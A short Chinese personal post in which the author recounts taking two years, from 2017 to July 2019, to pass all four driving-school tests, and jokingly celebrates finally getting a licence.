我从 2017 年 6 月就在驾校报名了,但是因为我的拖延症和一些客观原因,我的战线延续了整整两年:

  • 科目一:2017 年 8 月
  • 科目二:2019 年 1 月
  • 科目三:2019 年 7 月
  • 科目四:今天(7 月 26 日)

太丢人了,同样是 2017 年参加完高考的学生,我居然在两年后的夏天才拿本(捂脸

不过结果实现了,我也就这样变成了一位有证司机了,还是可喜可贺的。

❌
❌